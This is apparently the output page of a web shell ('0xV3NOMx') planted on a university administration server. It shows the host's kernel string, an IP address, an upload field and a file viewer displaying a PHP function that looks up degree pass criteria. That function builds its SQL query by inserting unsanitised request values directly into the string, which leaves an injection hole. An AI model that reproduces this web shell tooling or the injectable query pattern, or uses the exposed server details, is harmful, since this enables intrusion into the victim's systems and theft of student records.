0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.105.222


Current Path : /proc/thread-self/root/var/www/html/univadmin_bkp/univadmin/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/univadmin_bkp/univadmin/src/uDegPassCrit.php

<?php

function uniclareGetDegreePassCrit($aobj_context)
{
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

    $degree = $aobj_context->mobj_data['degree'];
    $univcode = $aobj_context->mobj_data['univcode'];
    $regno = $aobj_context->mobj_data['regno'];

    $query = "select d.fdegree, d.fdescpn, d.fexamno, d.fexamname, concat(ifnull(d.FELIGREM01,''),' ',ifnull(d.FELIGREM02,'')) as passcrit
    from student st 
    inner join degree d on d.fdegree = st.fdegree 
    where st.fregno = '{$regno}' and st.fdegree = '{$degree}' and d.fexamno = 'A' group by d.fdegree,d.fexamno";
    //var_dump($query);
    $result = $aobj_context->pobj_db->GetAll($query);
    //var_dump($result);die();
    if(count($result) == 0)
    {
        $arr['msg'] = 'Degree Pass Criteria  Not Found';
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        return;
    }

    $i = 0;
    $subarr = array();
    foreach($result as $k => $v)
    {
        $subarr[$i]['fdegree'] = $v['fdegree'];
        $subarr[$i]['fdescpn'] = $v['fdescpn'];
        $subarr[$i]['fexamno'] = $v['fexamno'];
        $subarr[$i]['fexamname'] = $v['fexamname'];
        $subarr[$i]['passcrit'] = $v['passcrit'];
        $i++;
    }

    $arr['degreepasscrit'] = $subarr;
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 

    
}